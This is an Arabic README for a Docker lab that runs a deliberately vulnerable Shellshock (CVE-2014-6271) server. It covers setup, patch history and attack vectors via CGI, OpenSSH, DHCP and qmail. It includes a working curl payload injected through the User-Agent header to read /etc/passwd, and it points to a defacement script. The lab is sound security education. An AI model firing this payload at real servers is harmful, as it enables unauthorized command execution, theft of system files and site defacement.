
استغلال ثغرة Shellshock + بيئة قابلة للاستغلال

Shellshock، المعروفة أيضًا باسم Bashdoor، هي عائلة من الثغرات الأمنية في قشرة Bash المستخدمة على نطاق واسع في أنظمة Unix، وقد تم الكشف عن أولها في 24 سبتمبر 2014. تستخدم العديد من الخدمات الموجهة للإنترنت، مثل بعض نشرات خوادم الويب، Bash لمعالجة طلبات معينة، مما يسمح للمهاجم بالتسبب في تنفيذ إصدارات Bash القابلة للاستغلال لأوامر عشوائية. يمكن أن يسمح هذا للمهاجم بالحصول على وصول غير مصرح به إلى نظام كمبيوتر.
ستحتاج إلى تثبيت Docker لتشغيل البيئة، انتقل إلى docker.com وقم بتثبيته إذا لم يكن لديك بالفعل.
لبدء تشغيل البيئة القابلة للاستغلال، فقط قم بتشغيل
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271
افتح متصفحك وانتقل إلى localhost:8080، إذا كان كل شيء على ما يرام فسترى صفحة مثل هذه

هناك عدة طرق لاستغلال هذا الخلل
مثال بسيط لتنفيذ cat /etc/passwd
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
يمكنك استخدامها لتنفيذ أي أمر تريده
هذا مجرد نموذج برمجي في exploit-deface.sh، فقط قم بتشغيله ضد الصورة
./exploit-deface.sh <ip> <port>
على سبيل المثال إذا كنت تشغّله بالأمر المقدم أعلاه
./exploit-deface.sh localhost 8080
فقط قم بتحديث متصفحك وسترى

فقط قم بتشغيل هذا السكربت bash على نظامك وسترى ما إذا كنت عرضة للاستغلال أم لا:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
عندما يستخدم خادم الويب واجهة البوابة المشتركة (CGI) للتعامل مع طلب مستند، فإنه يمرر تفاصيل مختلفة عن الطلب إلى برنامج المعالجة في قائمة متغيرات البيئة. على سبيل المثال، فإن المتغير HTTP_USER_AGENT له قيمة تحدد في الاستخدام العادي البرنامج الذي يرسل الطلب. إذا كان معالج الطلب هو سكربت Bash، أو إذا كان ينفذ واحدًا على سبيل المثال باستخدام استدعاء system(3)، فسيستقبل Bash متغيرات البيئة التي يمررها الخادم ويعالجها كما هو موضح أعلاه. يوفر هذا وسيلة للمهاجم لتفعيل ثغرة Shellshock بطلب خادم مُصمم بعناية. توضح الوثائق الأمنية لخادم الويب Apache المستخدم على نطاق واسع: "يمكن أن تكون سكربتات CGI ... خطيرة للغاية إذا لم يتم فحصها بعناية." وغالبًا ما تُستخدم طرق أخرى للتعامل مع طلبات خادم الويب. هناك عدد من الخدمات عبر الإنترنت التي تحاول اختبار الثغرة ضد خوادم الويب المعرضة للإنترنت.
يحتوي OpenSSH على ميزة "ForceCommand"، حيث يتم تنفيذ أمر ثابت عند تسجيل دخول المستخدم، بدلاً من مجرد تشغيل قشرة أوامر غير مقيدة. يتم تنفيذ الأمر الثابت حتى لو حدد المستخدم أنه يجب تشغيل أمر آخر؛ وفي هذه الحالة يتم وضع الأمر الأصلي في متغير البيئة "SSH_ORIGINAL_COMMAND". عندما يتم تشغيل الأمر المفروض في قشرة Bash (إذا كانت قشرة المستخدم معينة إلى Bash)، ستقوم قشرة Bash بتحليل متغير البيئة SSH_ORIGINAL_COMMAND عند بدء التشغيل، وتنفيذ الأوامر المضمنة فيه. استخدم المستخدم وصول القشرة المقيدة الخاص به للحصول على وصول غير مقيد إلى القشرة، مستغلًا ثغرة Shellshock.
يمكن لبعض عملاء DHCP أيضًا تمرير أوامر إلى Bash؛ يمكن مهاجمة نظام قابل للاستغلال عند الاتصال بشبكة Wi-Fi مفتوحة. عادةً ما يطلب عميل DHCP عنوان IP ويحصل عليه من خادم DHCP، ولكن يمكن أيضًا تزويده بسلسلة من الخيارات الإضافية. يمكن لخادم DHCP خبيث أن يوفر، في أحد هذه الخيارات، سلسلة مصممة لتنفيذ تعليمات برمجية على محطة عمل أو كمبيوتر محمول قابل للاستغلال.
عند استخدام Bash لمعالجة رسائل البريد الإلكتروني (على سبيل المثال من خلال .forward أو توجيه qmail-alias)، يمرر خادم البريد qmail الإدخال الخارجي بطريقة يمكنها استغلال إصدار Bash قابل للاستغلال.
يمكن استغلال الثغرة للحصول على وصول إلى Bash من القشرة المقيدة لوحدة تحكم إدارة الأجهزة من IBM (IBM Hardware Management Console)، وهو إصدار Linux صغير مخصص لمسؤولي الأنظمة. أصدرت IBM تصحيحًا لحل هذه المشكلة.
حتى 24 سبتمبر 2014، قدم مطور Bash Chet Ramey إصدار التصحيح bash43-025 من Bash 4.3 الذي يعالج CVE-2014-6271، والذي تم تعبئته بالفعل من قبل مسؤولي التوزيعات. في 24 سبتمبر، تبع ذلك bash43-026، الذي يعالج CVE-2014-7169. ثم تم اكتشاف CVE-2014-7186. نشر Florian Weimer من Red Hat بعض أكواد التصحيح لهذا "بشكل غير رسمي" في 25 سبتمبر، والتي دمجها Ramey في Bash كـ bash43-027. وفرت هذه التصحيحات كودًا فقط، مفيدة فقط لأولئك الذين يعرفون كيفية الترجمة ("إعادة البناء") لملف ثنائي جديد من Bash من ملف التصحيح وملفات الشيفرة المصدرية المتبقية.
في اليوم التالي، قدمت Red Hat رسميًا التحديثات المقابلة لـ Red Hat Enterprise Linux، وبعد يوم آخر لـ Fedora 21. قدمت شركة Canonical Ltd. تحديثات لإصدارات Ubuntu طويلة الدعم الخاصة بها يوم السبت، 27 سبتمبر؛ وفي يوم الأحد، كانت هناك تحديثات لـ SUSE Linux Enterprise. في يومي الاثنين والثلاثاء التاليين في نهاية الشهر، ظهرت تحديثات Apple OS X.
في 1 أكتوبر 2014، صرح Michał Zalewski من Google Inc. أخيرًا أن كود Weimer و bash43-027 لم يصلحا الثغرات الثلاث الأولى فحسب، بل حتى الثغرات الثلاث المتبقية التي نُشرت بعد bash43-027، بما في ذلك اكتشافاه الخاصان. هذا يعني أنه بعد تحديثات التوزيعات السابقة، لم تكن هناك حاجة لتحديثات أخرى لتغطية جميع المشكلات الست.
هذا البرنامج أو البرنامج السابق هو لأغراض تعليمية فقط. لا تستخدمه دون إذن. ينطبق إخلاء المسؤولية المعتاد، خاصة حقيقة أنني (opsxcq) لست مسؤولاً عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف المقدمة من هذه البرامج. لا يتحمل المؤلف أو أي مزود إنترنت أي مسؤولية عن المحتوى أو إساءة استخدام هذه البرامج أو أي مشتقات منها. باستخدامك لهذه البرامج فإنك تقبل حقيقة أن أي ضرر (فقدان بيانات، تعطل النظام، اختراق النظام، إلخ) ناتج عن استخدام هذه البرامج ليس مسؤولية opsxcq.